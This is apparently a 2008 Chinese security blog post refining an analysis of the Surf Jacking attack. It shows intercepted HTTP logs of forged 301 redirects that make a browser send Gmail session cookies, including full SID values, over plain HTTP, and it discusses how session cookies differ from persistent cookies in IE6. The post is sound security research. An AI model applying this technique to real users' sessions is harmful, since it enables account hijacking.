关于"Surf Jacking"的修正分析和一些细节问题(图)_安全中国

作者：axis

今天晚些时候看到木瓜在blog中指出我前篇文章里提到的局限性不存在的问题，我又重新做了几次测试，发现确实是这么回事，但是这里还有些细微的地方需要明晰一下。

首先，因为cookie是只针对域的，和是否是http还是https无关（除了cookie标记为 secure flag），所以即便是目标网站全站都使用了https，我们也可以通过伪造http请求来欺骗浏览器，让浏览器发送cookie。

先勾上gmail里只允许https访问的选项：

如下：

正常的surf jacking：

GET http://www.baidu.com/ HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-silverlight, */*
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Paros/3.2.13
Host: www.baidu.com
Proxy-Connection: Keep-Alive
Cookie: BAIDUID=664BDBF912A0BD8529B578F1D2D89628:FG=1; BDSTAT=d7b696a29856a99b8018cd481c49ff83b059362bca5c10384743fbf2b0117772; BD_UTK_DVT=1; BDTIP=1215783899; BDUSS=ZtcjdSeWNKQn5xNGpz......

HTTP/1.1 301 Moved Permanently
Location: http://mail.google.com/mail/?ui=1
Cache-Control: private
Content-Length: 0

GET http://mail.google.com/mail/?ui=1 HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-silverlight, */*
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Paros/3.2.13
Cookie: GXSP=S; S=gmail=RDS-f2sELkDIQBXTwhRP8g:gmail_yj=Qq5TkzIBOhEO4zmXoyhx1A:gmproxy=UW9D_swGb_s:gmproxy_yj=f8GBnMVjCTM:gmproxy_yj_sub=y45fb75LRSw; TZ=-480; SID=DQAAAHoAAADkfcVmPLBi6tXXC0LiAR2M3Js6NAxIB3dc1fHXTYzibMTdCGPevS3YCX24mVl03pf_mnBLcoKYG9yNuizcwgDAE4Xl7qGzk8MH5CUHhzdnvarGZtzXTAn_cHbzzPI2jyCVhReiuYyfgiQCa2g3kAoyXboO9_9QdxRsL3ymexB7uA; GMAIL_HELP=hosted:0
Proxy-Connection: Keep-Alive
Host: mail.google.com

这个时候cookie是发送出来的

而若访问某个不存在的页面

HTTP/1.1 301 Moved Permanently
Location: http://mail.google.com/fvck
Cache-Control: private
Content-Length: 0

GET http://mail.google.com/fvck HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-silverlight, */*
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Paros/3.2.13
Cookie: TZ=-480; SID=DQAAAHoAAADkfcVmPLBi6tXXC0LiAR2M3Js6NAxIB3dc1fHXTYzibMTdCGPevS3YCX24mVl03pf_mnBLcoKYG9yNuizcwgDAE4Xl7qGzk8MH5CUHhzdnvarGZtzXTAn_cHbzzPI2jyCVhReiuYyfgiQCa2g3kAoyXboO9_9QdxRsL3ymexB7uA; PREF=ID=d73fbea1cce4392a:NW=1:TM=1218557317:LM=1218557317:GM=1:S=UoyYLQEOE9o_Juix; GMAIL_HELP=hosted:0
Proxy-Connection: Keep-Alive
Host: mail.google.com

HTTP/1.1 404 Not Found
Date: Tue, 12 Aug 2008 16:12:51 GMT
Content-Type: text/html; charset=UTF-8
Server: gws
Content-Length: 1352

可以看到cookie也发送出来了。

所以我前文提到的局限性中的"需要目标网站里存在一个非HTTP页面"的条件是不存在的。

实际上这里不是我今天要讲的重点，重点是关于session cookie和persistent cookie的问题

如果在登录GMAIL的时候选择“在本计算机上保存帐户”

则会选择使用本地存储cookie(stored cookie 或叫做 persistent cookie)。

如果不选择，则使用的是session cookie，里面包含了session id. 如果浏览器进程结束了，那么session cookie就销毁了。

在我的IE 6中测试，如果使用本地存储cookie，那么在使用surf jacking技术时，新开浏览器窗口的后是能捕获到cookie的。如我上篇文章里的例子。

但是如果是使用的session cookie，则在新开IE6浏览器窗口里是抓不到cookie的，因为IE6新开窗口是启动了一个新的IE进程，而这个新的IE进程是无法获取之前IE进程里的http session的。

如下：
GET http://www.sohu.com/ HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-silverlight, */*
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727) Paros/3.2.13
Host: www.sohu.com
Proxy-Connection: Keep-Alive
Cookie: SOHUHOMETAB=visit:3; TurnAD9=visit:2; TurnAD351=visit:1; TurnAD119=visit:2; TurnAD118=visit:2; TurnAD10=visit:1; TurnAD120=visit:1; TurnAD11=visit:1; TurnAD349=visit:2; TurnAD350=visit:2; TurnAD352=visit:1; FULL=w:1; LIUMEITI101=w:1; LIUMEITI102=w:1; BOOKTURN=w:1; _BOO......

HTTP/1.1 301 Moved Permanently
Location: http://mail.google.com/mail/?ui=1
Cache-Control: private
Content-Length: 0

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